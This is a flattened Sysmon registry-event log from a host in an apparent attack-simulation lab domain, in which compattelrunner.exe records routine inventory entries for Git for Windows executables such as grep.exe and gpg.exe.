14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostid.exe|6d4143f0897c8d41\Publisher(Empty) 13241300x800000000000000036991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostid.exe|6d4143f0897c8d41\LowerCaseLongPathc:\program files\git\usr\bin\hostid.exe 13241300x800000000000000036990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hmac256.exe|32958ea17350316\BinProductVersion(Empty) 13241300x800000000000000036989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hmac256.exe|32958ea17350316\LinkDate01/01/1970 00:00:00 13241300x800000000000000036988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hmac256.exe|32958ea17350316\Publisher(Empty) 13241300x800000000000000036987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hmac256.exe|32958ea17350316\LowerCaseLongPathc:\program files\git\usr\bin\hmac256.exe 13241300x800000000000000036986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\headless-git.exe|785e29ace5e8bd40\BinProductVersion2.33.0.2 13241300x800000000000000036985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\headless-git.exe|785e29ace5e8bd40\LinkDate08/24/2021 10:09:53 13241300x800000000000000036984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\headless-git.exe|785e29ace5e8bd40\Publisherthe git development community 13241300x800000000000000036983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\headless-git.exe|785e29ace5e8bd40\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\headless-git.exe 13241300x800000000000000036982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\head.exe|fc7ddc9982db949a\BinProductVersion(Empty) 13241300x800000000000000036981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\head.exe|fc7ddc9982db949a\LinkDate01/01/1970 00:00:00 13241300x800000000000000036980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\head.exe|fc7ddc9982db949a\Publisher(Empty) 13241300x800000000000000036979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\head.exe|fc7ddc9982db949a\LowerCaseLongPathc:\program files\git\usr\bin\head.exe 13241300x800000000000000036978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gzip.exe|5579843dbc752d44\BinProductVersion(Empty) 13241300x800000000000000036977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gzip.exe|5579843dbc752d44\LinkDate01/01/1970 00:00:00 13241300x800000000000000036976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gzip.exe|5579843dbc752d44\Publisher(Empty) 13241300x800000000000000036975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gzip.exe|5579843dbc752d44\LowerCaseLongPathc:\program files\git\usr\bin\gzip.exe 13241300x800000000000000036974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gsettings.exe|4246bb34aefdd57f\BinProductVersion(Empty) 13241300x800000000000000036973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gsettings.exe|4246bb34aefdd57f\LinkDate01/01/1970 00:00:00 13241300x800000000000000036972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gsettings.exe|4246bb34aefdd57f\Publisher(Empty) 13241300x800000000000000036971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gsettings.exe|4246bb34aefdd57f\LowerCaseLongPathc:\program files\git\usr\bin\gsettings.exe 13241300x800000000000000036970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\groups.exe|2cd133bd6998e5fb\BinProductVersion(Empty) 13241300x800000000000000036969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\groups.exe|2cd133bd6998e5fb\LinkDate01/01/1970 00:00:00 13241300x800000000000000036968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\groups.exe|2cd133bd6998e5fb\Publisher(Empty) 13241300x800000000000000036967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\groups.exe|2cd133bd6998e5fb\LowerCaseLongPathc:\program files\git\usr\bin\groups.exe 13241300x800000000000000036966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grep.exe|e40de301f2861b6e\BinProductVersion(Empty) 13241300x800000000000000036965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grep.exe|e40de301f2861b6e\LinkDate01/01/1970 00:00:00 13241300x800000000000000036964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grep.exe|e40de301f2861b6e\Publisher(Empty) 13241300x800000000000000036963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grep.exe|e40de301f2861b6e\LowerCaseLongPathc:\program files\git\usr\bin\grep.exe 13241300x800000000000000036962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grcat.exe|dafb27ccdda3446f\BinProductVersion(Empty) 13241300x800000000000000036961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grcat.exe|dafb27ccdda3446f\LinkDate01/01/1970 00:00:00 13241300x800000000000000036960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grcat.exe|dafb27ccdda3446f\Publisher(Empty) 13241300x800000000000000036959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\grcat.exe|dafb27ccdda3446f\LowerCaseLongPathc:\program files\git\usr\lib\awk\grcat.exe 13241300x800000000000000036958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgv.exe|3e8076918b3dc637\BinProductVersion(Empty) 13241300x800000000000000036957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgv.exe|3e8076918b3dc637\LinkDate01/01/1970 00:00:00 13241300x800000000000000036956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgv.exe|3e8076918b3dc637\Publisher(Empty) 13241300x800000000000000036955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgv.exe|3e8076918b3dc637\LowerCaseLongPathc:\program files\git\usr\bin\gpgv.exe 13241300x800000000000000036954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgtar.exe|83e2bc192363db05\BinProductVersion(Empty) 13241300x800000000000000036953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgtar.exe|83e2bc192363db05\LinkDate01/01/1970 00:00:00 13241300x800000000000000036952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgtar.exe|83e2bc192363db05\Publisher(Empty) 13241300x800000000000000036951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgtar.exe|83e2bc192363db05\LowerCaseLongPathc:\program files\git\usr\bin\gpgtar.exe 13241300x800000000000000036950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsplit.exe|87bafc2530c840f0\BinProductVersion(Empty) 13241300x800000000000000036949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsplit.exe|87bafc2530c840f0\LinkDate01/01/1970 00:00:00 13241300x800000000000000036948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsplit.exe|87bafc2530c840f0\Publisher(Empty) 13241300x800000000000000036947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsplit.exe|87bafc2530c840f0\LowerCaseLongPathc:\program files\git\usr\bin\gpgsplit.exe 13241300x800000000000000036946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsm.exe|c489439d65554f2c\BinProductVersion(Empty) 13241300x800000000000000036945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsm.exe|c489439d65554f2c\LinkDate01/01/1970 00:00:00 13241300x800000000000000036944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsm.exe|c489439d65554f2c\Publisher(Empty) 13241300x800000000000000036943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgsm.exe|c489439d65554f2c\LowerCaseLongPathc:\program files\git\usr\bin\gpgsm.exe 13241300x800000000000000036942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgscm.exe|afd870348aad8e2b\BinProductVersion(Empty) 13241300x800000000000000036941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgscm.exe|afd870348aad8e2b\LinkDate01/01/1970 00:00:00 13241300x800000000000000036940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgscm.exe|afd870348aad8e2b\Publisher(Empty) 13241300x800000000000000036939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgscm.exe|afd870348aad8e2b\LowerCaseLongPathc:\program files\git\usr\bin\gpgscm.exe 13241300x800000000000000036938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgparsemail.exe|a1d04daf32233825\BinProductVersion(Empty) 13241300x800000000000000036937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgparsemail.exe|a1d04daf32233825\LinkDate01/01/1970 00:00:00 13241300x800000000000000036936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgparsemail.exe|a1d04daf32233825\Publisher(Empty) 13241300x800000000000000036935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgparsemail.exe|a1d04daf32233825\LowerCaseLongPathc:\program files\git\usr\bin\gpgparsemail.exe 13241300x800000000000000036934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgconf.exe|871b799717455ba3\BinProductVersion(Empty) 13241300x800000000000000036933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgconf.exe|871b799717455ba3\LinkDate01/01/1970 00:00:00 13241300x800000000000000036932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgconf.exe|871b799717455ba3\Publisher(Empty) 13241300x800000000000000036931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpgconf.exe|871b799717455ba3\LowerCaseLongPathc:\program files\git\usr\bin\gpgconf.exe 13241300x800000000000000036930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg.exe|6cedb1e2633436b0\BinProductVersion(Empty) 13241300x800000000000000036929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg.exe|6cedb1e2633436b0\LinkDate01/01/1970 00:00:00 13241300x800000000000000036928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg.exe|6cedb1e2633436b0\Publisher(Empty) 13241300x800000000000000036927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg.exe|6cedb1e2633436b0\LowerCaseLongPathc:\program files\git\usr\bin\gpg.exe 13241300x800000000000000036926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-server.e|61034539dd4597ca\BinProductVersion(Empty) 13241300x800000000000000036925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-server.e|61034539dd4597ca\LinkDate01/01/1970 00:00:00 13241300x800000000000000036924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-server.e|61034539dd4597ca\Publisher(Empty) 13241300x800000000000000036923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-server.e|61034539dd4597ca\LowerCaseLongPathc:\program files\git\usr\bin\gpg-wks-server.exe 13241300x800000000000000036922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-client.e|2e2d230f1afcaaed\BinProductVersion(Empty) 13241300x800000000000000036921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-client.e|2e2d230f1afcaaed\LinkDate01/01/1970 00:00:00 13241300x800000000000000036920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-client.e|2e2d230f1afcaaed\Publisher(Empty) 13241300x800000000000000036919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-wks-client.e|2e2d230f1afcaaed\LowerCaseLongPathc:\program files\git\usr\lib\gnupg\gpg-wks-client.exe 